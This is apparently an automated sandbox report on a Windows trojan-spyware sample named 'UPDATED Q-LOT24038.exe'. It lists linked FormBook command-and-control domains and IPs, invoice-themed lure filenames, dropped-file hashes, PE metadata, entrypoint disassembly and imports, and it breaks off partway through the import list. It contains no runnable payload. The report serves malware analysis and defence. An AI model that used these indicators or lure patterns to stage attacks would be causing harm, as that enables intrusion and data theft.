Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	UPDATED Q-LOT24038.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/2@6/5
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 98% Number of executed functions: 40 Number of non-executed functions: 310
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target LPXBsvFDomujkZ.exe, PID 5868 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: UPDATED Q-LOT24038.exe

Simulations

Behavior and APIs

Time	Type	Description
09:17:40	API Interceptor	1611908x Sleep call for process: auditpol.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
52.20.84.62	PO S-TECHAccolle654657659768774876980.vbs	Get hash	malicious	FormBook, GuLoader	Browse	www.rezzla.com/n5i5/
	gRDcPJpgMQ.exe	Get hash	malicious	FormBook	Browse	www.comicdesk.xyz/fs83/?F0G=4hOdKx&AZ=uIYpFveLu/CBw7DmAO/Ti/dUlBfSx1al2FMqfKekdnKV/Pg8KM0G546XOuFlZTdYS3bk
	UAyH98ukuA.exe	Get hash	malicious	FormBook	Browse	www.comicdesk.xyz/fs83/?K6kd=uIYpFveLu/CBw7DmAO/Ti/dUlBfSx1al2FMqfKekdnKV/Pg8KM0G546XOuJlKDRbLnbyZHKrPA==&uTrL=_bj8lfEpU
	Moderatestes.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.unbiasedresearch.org/gu1b/
	Scsi.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.unbiasedresearch.org/gu1b/
	Axoplasm.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.unbiasedresearch.org/gu1b/
	QZUOO6hU1V.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.unbiasedresearch.org/gu1b/
	pYeAlZOjQA.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.unbiasedresearch.org/m9so/
	overgreat.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.unbiasedresearch.org/gu1b/
	Derivativets.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.unbiasedresearch.org/hjen/
44.213.25.70	NVOICE FOR THE MONTH OF AUG-24.exe	Get hash	malicious	FormBook	Browse	www.newdaydawning.net/72tr/
	RN# D7521-RN-00353 REV-2.exe	Get hash	malicious	FormBook	Browse	www.newdaydawning.net/paa2/
	PO5118000306 pdf.exe	Get hash	malicious	FormBook	Browse	www.newdaydawning.net/q1on/
	inquiry and prices EO-230807.exe	Get hash	malicious	FormBook	Browse	www.newdaydawning.net/paa2/
	HBLAWBP.LISTCOC & INV.exe	Get hash	malicious	FormBook	Browse	www.newdaydawning.net/paa2/
	NEW ORDERS scan_29012019.exe	Get hash	malicious	FormBook	Browse	www.newdaydawning.net/paa2/
	PROFOMA INVOICE SHEET.exe	Get hash	malicious	FormBook	Browse	www.newdaydawning.net/72tr/
203.161.43.245	RN# D7521-RN-00353 REV-2.exe	Get hash	malicious	FormBook	Browse	www.stayup.top/gubb/
	inquiry and prices EO-230807.exe	Get hash	malicious	FormBook	Browse	www.stayup.top/gubb/
	HBLAWBP.LISTCOC & INV.exe	Get hash	malicious	FormBook	Browse	www.stayup.top/gubb/
	Payment Advise-PDF.exe	Get hash	malicious	FormBook	Browse	www.healtpro.top/fes8/
	Amended Proforma #U2013 SMWD5043.exe	Get hash	malicious	FormBook	Browse	www.fethmart.top/w9gq/
	FYI.PDF.exe	Get hash	malicious	FormBook	Browse	www.healtpro.top/fes8/
	PO098765678.exe	Get hash	malicious	FormBook	Browse	www.fethmart.top/w9gq/
	NEW ORDERS scan_29012019.exe	Get hash	malicious	FormBook	Browse	www.stayup.top/gubb/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
azkwupgf.as66588.com	hH4dbIGfGT.exe	Get hash	malicious	FormBook	Browse	147.92.40.175
	Fvqw64NU4k.exe	Get hash	malicious	FormBook	Browse	103.248.137.209
	PO-78140924.BAT.PDF.exe	Get hash	malicious	FormBook	Browse	103.248.137.209
	RN# D7521-RN-00353 REV-2.exe	Get hash	malicious	FormBook	Browse	147.92.40.174
	rP0n___87004354.exe	Get hash	malicious	FormBook	Browse	103.248.137.209
	inquiry and prices EO-230807.exe	Get hash	malicious	FormBook	Browse	147.92.40.175
	HBLAWBP.LISTCOC & INV.exe	Get hash	malicious	FormBook	Browse	147.92.40.174
	NEW ORDERS scan_29012019.exe	Get hash	malicious	FormBook	Browse	147.92.40.175
	DOC092024-0431202229487.exe	Get hash	malicious	FormBook	Browse	147.92.40.175
www.stayup.top	RN# D7521-RN-00353 REV-2.exe	Get hash	malicious	FormBook	Browse	203.161.43.245
	inquiry and prices EO-230807.exe	Get hash	malicious	FormBook	Browse	203.161.43.245
	HBLAWBP.LISTCOC & INV.exe	Get hash	malicious	FormBook	Browse	203.161.43.245
	NEW ORDERS scan_29012019.exe	Get hash	malicious	FormBook	Browse	203.161.43.245
www.luxe.guru	RN# D7521-RN-00353 REV-2.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	inquiry and prices EO-230807.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	HBLAWBP.LISTCOC & INV.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	NEW ORDERS scan_29012019.exe	Get hash	malicious	FormBook	Browse	13.248.169.48

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-AESUS	Payout Receipt.pptx	Get hash	malicious	HTMLPhisher	Browse	3.5.1.122
	https://jhansalazar.weebly.com/	Get hash	malicious	Unknown	Browse	3.82.83.121
	c42oX67S73.ps1	Get hash	malicious	Unknown	Browse	52.23.7.200
	AHCHICSvjmApRFFQmAQXRyNbw.ps1	Get hash	malicious	Unknown	Browse	34.236.124.61
	https://www.dropbox.com/l/scl/AACFGimR3EJt-RbOzI8FO3hUk-bWh7Zwq_k	Get hash	malicious	Unknown	Browse	35.169.41.95
	https://www.wbtd.com/	Get hash	malicious	Unknown	Browse	34.197.42.150
	https://www.thefirsthbcu.com/	Get hash	malicious	HTMLPhisher	Browse	3.233.158.26
	hJABTqngKoJnTgLh.ps1	Get hash	malicious	Unknown	Browse	34.193.113.164
	CHDLSHtWbSRCfzJMtDO.ps1	Get hash	malicious	Unknown	Browse	54.210.189.148
	http://ogp.me/ns#	Get hash	malicious	Unknown	Browse	54.165.87.158
DNC-ASDimensionNetworkCommunicationLimitedHK	hH4dbIGfGT.exe	Get hash	malicious	FormBook	Browse	147.92.40.175
	Fvqw64NU4k.exe	Get hash	malicious	FormBook	Browse	103.248.137.209
	http://v884.cc/	Get hash	malicious	Unknown	Browse	116.204.156.205
	PO-78140924.BAT.PDF.exe	Get hash	malicious	FormBook	Browse	103.248.137.209
	RN# D7521-RN-00353 REV-2.exe	Get hash	malicious	FormBook	Browse	147.92.40.174
	rP0n___87004354.exe	Get hash	malicious	FormBook	Browse	103.248.137.209
	inquiry and prices EO-230807.exe	Get hash	malicious	FormBook	Browse	147.92.40.175
	HBLAWBP.LISTCOC & INV.exe	Get hash	malicious	FormBook	Browse	147.92.40.174
	NEW ORDERS scan_29012019.exe	Get hash	malicious	FormBook	Browse	147.92.40.175
	DOC092024-0431202229487.exe	Get hash	malicious	FormBook	Browse	147.92.40.175
AMAZON-AESUS	Payout Receipt.pptx	Get hash	malicious	HTMLPhisher	Browse	3.5.1.122
	https://jhansalazar.weebly.com/	Get hash	malicious	Unknown	Browse	3.82.83.121
	c42oX67S73.ps1	Get hash	malicious	Unknown	Browse	52.23.7.200
	AHCHICSvjmApRFFQmAQXRyNbw.ps1	Get hash	malicious	Unknown	Browse	34.236.124.61
	https://www.dropbox.com/l/scl/AACFGimR3EJt-RbOzI8FO3hUk-bWh7Zwq_k	Get hash	malicious	Unknown	Browse	35.169.41.95
	https://www.wbtd.com/	Get hash	malicious	Unknown	Browse	34.197.42.150
	https://www.thefirsthbcu.com/	Get hash	malicious	HTMLPhisher	Browse	3.233.158.26
	hJABTqngKoJnTgLh.ps1	Get hash	malicious	Unknown	Browse	34.193.113.164
	CHDLSHtWbSRCfzJMtDO.ps1	Get hash	malicious	Unknown	Browse	54.210.189.148
	http://ogp.me/ns#	Get hash	malicious	Unknown	Browse	54.165.87.158
VNPT-AS-VNVNPTCorpVN	New order02102024.doc	Get hash	malicious	Nanocore	Browse	103.207.37.72
	yakov.arm7.elf	Get hash	malicious	Mirai	Browse	14.179.255.52
	PO#001498.exe	Get hash	malicious	FormBook	Browse	203.161.41.205
	P030092024LANDWAY.exe	Get hash	malicious	FormBook	Browse	203.161.41.205
	SecuriteInfo.com.Linux.Siggen.9999.30976.5557.elf	Get hash	malicious	Mirai	Browse	123.21.123.204
	SecuriteInfo.com.Linux.Siggen.9999.10361.13333.elf	Get hash	malicious	Mirai	Browse	123.16.167.191
	RN# D7521-RN-00353 REV-2.exe	Get hash	malicious	FormBook	Browse	203.161.43.245
	7fi7NmSbkN.elf	Get hash	malicious	Mirai	Browse	14.227.0.85
	rsJtZBgpwG.elf	Get hash	malicious	Mirai	Browse	14.180.57.19
	http://hscpoly.marksbookspace.shop/?/Hscpoly/Hscpoly#Bob.Jenkins@Hscpoly.Com##	Get hash	malicious	Captcha Phish, HTMLPhisher	Browse	203.161.61.2

Process:	C:\Windows\SysWOW64\auditpol.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1209935793793442
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8lZqhAj3NniAGl:r2qOB1nxCkvSAELyKOMq+8lMAjdnG
MD5:	214CFA91B0A6939C4606C4F99C9183B3
SHA1:	A36951EB26E00F95BFD44C0851827A032EAFD91A
SHA-256:	660DE0DCC188B3C35F8693DA4FE3EABD70D55A3AA32B7FDD6353FDBF04F702D7
SHA-512:	E2FA64C41FBE5C576C0D79C6A5DEF0EC0A49BB2D0D862223E761429374294332A5A218E03C78A0D9924695D84B10DC96BCFE7DA0C9972988D33AE7868B107789
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\unbarricadoed

Download File

Process:	C:\Users\user\Desktop\UPDATED Q-LOT24038.exe
File Type:	data
Category:	dropped
Size (bytes):	288256
Entropy (8bit):	7.991688411479427
Encrypted:	true
SSDEEP:	6144:idtWtPGGaOJWxs3NjNSe3V8W+T5ELV4sH2O5xDsnIl:iitPbKW3NjX3VcT5yV4sH24iIl
MD5:	424552CF6D3196A9BAC5FEA1E22D72C2
SHA1:	D7C758019AC0DBFAF65DC2528AC07E90DC6C5DBD
SHA-256:	2FE37727CFADA97A299F5DCD4A22F0DD276406EABE1C064B5D9FE84AB26E279A
SHA-512:	1C64D9350FFD2857E83FE57BD96FA5A8EE3AA94893BE24796222FE132EB0855C96531F26B065F12CCBFC439452DAC78AAB4E9DDC52619C89A558C6BFFE50FD3E
Malicious:	false
Reputation:	low
Preview:	.....S0TYj..B...h.RN...q1:...1THTHRMS0TY22JKH1THTHRMS0TY22J.H1TFK.\M.9.x.3..ie<!'h"?<W&8_.)&_;<t7m!E:y[\j..bt%;,7c^=^}22JKH1T1UA.p3W.dRU.v(V.R..w3W.C...w(V.R..q3W..[Q"v(V.HTHRMS0T.w2J.I0T...MS0TY22J.H3UCUCRM.4TY22JKH1T.GHRMC0TYB6JKHqTHDHRMQ0T_22JKH1TNTHRMS0TYB6JKJ1THTHROSp.Y2"JKX1THTXRMC0TY22J[H1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1Tf -*9S0T.`6JKX1TH.LRMC0TY22JKH1THTHRmS04Y22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0TY22JKH1THTHRMS0T

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.520842512579826
TrID:	Win32 Executable (generic) a (10002005/4) 95.11% AutoIt3 compiled script executable (510682/80) 4.86% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	UPDATED Q-LOT24038.exe
File size:	1'343'701 bytes
MD5:	c008931448f8be26f318959a2d579cea
SHA1:	54cbf6a323857d76faf41239c2913b0ad18e22d3
SHA256:	e3eab8ee534e254cdd647d8c7b34f03fd7218c30f5a2c40a6342d1b402d438a3
SHA512:	8f9f0e5ec944e8c5fb5153a95eb2f6eb36ce69209719a9f57bb53a2f97af30ca4f5f9fc7eda5aae6e33e49f14cde703dc0b44a0812e0b5454cceecfffb7e836e
SSDEEP:	24576:ffmMv6Ckr7Mny5QLCucJSh6auL2Sym8zAkQ9Ym2eBTLbuZD57s9:f3v+7/5QLC69SymZ19t2e1Lw57K
TLSH:	F755F112F7D680B6D9A33975197BE32AEB3575194323C48B97E02E778F211019B3B362
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......-...i...i...i.....9.k...`.:.w...`.,.....`.+.P...N%..c...N%..H...i...d...`. ./...w.:.k...w.;.h...i.8.h...`.>.h...Richi..........

File Icon


Icon Hash:	1733312925935517

Static PE Info

General

Entrypoint:	0x416310
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x4B93CF87 [Sun Mar 7 16:08:39 2010 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	aaaa8913c89c8aa4a5d93f06853894da

Entrypoint Preview

Instruction
call 00007F9C2891C46Ch
jmp 00007F9C2891023Eh
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push edi
push esi
mov esi, dword ptr [ebp+0Ch]
mov ecx, dword ptr [ebp+10h]
mov edi, dword ptr [ebp+08h]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007F9C289103CAh
cmp edi, eax
jc 00007F9C2891056Ah
cmp ecx, 00000100h
jc 00007F9C289103E1h
cmp dword ptr [004A94E0h], 00000000h
je 00007F9C289103D8h
push edi
push esi
and edi, 0Fh
and esi, 0Fh
cmp edi, esi
pop esi
pop edi
jne 00007F9C289103CAh
pop esi
pop edi
pop ebp
jmp 00007F9C2891082Ah
test edi, 00000003h
jne 00007F9C289103D7h
shr ecx, 02h
and edx, 03h
cmp ecx, 08h
jc 00007F9C289103ECh
rep movsd
jmp dword ptr [00416494h+edx*4]
nop
mov eax, edi
mov edx, 00000003h
sub ecx, 04h
jc 00007F9C289103CEh
and eax, 03h
add ecx, eax
jmp dword ptr [004163A8h+eax*4]
jmp dword ptr [004164A4h+ecx*4]
nop
jmp dword ptr [00416428h+ecx*4]
nop
mov eax, E4004163h
arpl word ptr [ecx+00h], ax
or byte ptr [ecx+eax*2+00h], ah
and edx, ecx
mov al, byte ptr [esi]
mov byte ptr [edi], al
mov al, byte ptr [esi+01h]
mov byte ptr [edi+01h], al
mov al, byte ptr [esi+02h]
shr ecx, 02h
mov byte ptr [edi+02h], al
add esi, 03h
add edi, 03h
cmp ecx, 08h
jc 00007F9C2891038Eh

Rich Headers

Programming Language:

[ASM] VS2008 SP1 build 30729
[ C ] VS2008 SP1 build 30729
[C++] VS2008 SP1 build 30729
[ C ] VS2005 build 50727
[IMP] VS2005 build 50727
[ASM] VS2008 build 21022
[RES] VS2008 build 21022
[LNK] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8cd3c	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xab000	0x9298	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x82000	0x840	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x80017	0x80200	6c20c6bf686768b6f134f5bd508171bc	False	0.5602991615853659	data	6.634688230255595	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x82000	0xd95c	0xda00	f979966509a93083729d23cdfd2a6f2d	False	0.36256450688073394	data	4.880040824124099	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x90000	0x1a518	0x6800	e5d77411f751d28c6eee48a743606795	False	0.1600060096153846	data	2.2017649896261107	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xab000	0x9298	0x9400	f6be76de0ef2c68f397158bf01bdef3e	False	0.4896801097972973	data	5.530303089784181	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xab5c8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xab6f0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xab818	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xab940	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	Great Britain	0.48109756097560974
RT_ICON	0xabfa8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	Great Britain	0.5672043010752689
RT_ICON	0xac290	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	Great Britain	0.6418918918918919
RT_ICON	0xac3b8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	Great Britain	0.7044243070362474
RT_ICON	0xad260	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	Great Britain	0.8077617328519856
RT_ICON	0xadb08	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	Great Britain	0.5903179190751445
RT_ICON	0xae070	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	Great Britain	0.5503112033195021
RT_ICON	0xb0618	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	Great Britain	0.6050656660412758
RT_ICON	0xb16c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	Great Britain	0.7553191489361702
RT_MENU	0xb1b28	0x50	data	English	Great Britain	0.9
RT_DIALOG	0xb1b78	0xfc	data	English	Great Britain	0.6507936507936508
RT_STRING	0xb1c78	0x530	data	English	Great Britain	0.33960843373493976
RT_STRING	0xb21a8	0x690	data	English	Great Britain	0.26964285714285713
RT_STRING	0xb2838	0x43a	data	English	Great Britain	0.3733826247689464
RT_STRING	0xb2c78	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xb3278	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xb38d8	0x388	data	English	Great Britain	0.377212389380531
RT_STRING	0xb3c60	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	United States	0.502906976744186
RT_GROUP_ICON	0xb3db8	0x84	data	English	Great Britain	0.6439393939393939
RT_GROUP_ICON	0xb3e40	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0xb3e58	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xb3e70	0x14	data	English	Great Britain	1.25
RT_VERSION	0xb3e88	0x19c	data	English	Great Britain	0.5339805825242718
RT_MANIFEST	0xb4028	0x26c	ASCII text, with CRLF line terminators	English	United States	0.5145161290322581

Imports

DLL	Import
WSOCK32.dll	__WSAFDIsSet, setsockopt, ntohs, recvfrom, sendto, htons, select, listen, WSAStartup, bind, closesocket, connect, socket, send, WSACleanup, ioctlsocket, accept, WSAGetLastError, inet_addr, gethostbyname, gethostname, recv
VERSION.dll	VerQueryValueW, GetFileVersionInfoW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_ReplaceIcon, ImageList_Create, InitCommonControlsEx, ImageList_Destroy
MPR.dll	WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W, WNetUseConnectionW
WININET.dll	InternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetConnectW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetQueryOptionW, InternetQueryDataAvailable
PSAPI.DLL	EnumProcesses, GetModuleBaseNameW, GetProcessMemoryInfo, EnumProcessModules
USERENV.dll	CreateEnvironmentBlock, DestroyEnvironmentBlock, UnloadUserProfile, LoadUserProfileW
KERNEL32.dll	HeapAlloc, Sleep, GetCurrentThreadId, RaiseException, MulDiv, GetVersionExW, GetSystemInfo, MultiByteToWideChar, WideCharToMultiByte, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, DeleteFileW, FindNextFileW, lstrcmpiW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, GetProcessHeap, OutputDebugStringW, GetLocalTime, CompareStringW, CompareStringA, InterlockedIncrement, InterlockedDecrement, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, GetTempPathW, GetTempFileNameW, VirtualFree, FormatMessageW, GetExitCodeProcess, SetErrorMode, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, DeviceIoControl, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetComputerNameW, GetWindowsDirectoryW, GetSystemDirectoryW, GetCurrentProcessId, GetCurrentThread, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, LoadLibraryExW, HeapFree, WaitForSingleObject, CreateThread, DuplicateHandle, GetLastError, CloseHandle, GetCurrentProcess, GetProcAddress, LoadLibraryA, FreeLibrary, GetModuleFileNameW, GetFullPathNameW, ExitProcess, ExitThread, GetSystemTimeAsFileTime, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, ResumeThread, GetStartupInfoW, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, SetLastError, HeapSize, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetModuleFileNameA, HeapReAlloc, HeapCreate, SetHandleCount, GetFileType, GetStartupInfoA, SetStdHandle, GetConsoleCP, GetConsoleMode, LCMapStringW, LCMapStringA, RtlUnwind, SetFilePointer, GetTimeZoneInformation, GetTimeFormatA, GetDateFormatA, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, GetTickCount, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, GetModuleHandleA, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, CreateFileA, SetEndOfFile, EnumResourceNamesW, SetEnvironmentVariableA
USER32.dll	SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, ReleaseCapture, SetCapture, WindowFromPoint, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, CopyImage, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, PeekMessageW, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, GetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, MessageBoxW, DefWindowProcW, MoveWindow, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, GetMenuItemID, TranslateMessage, SetFocus, PostQuitMessage, KillTimer, 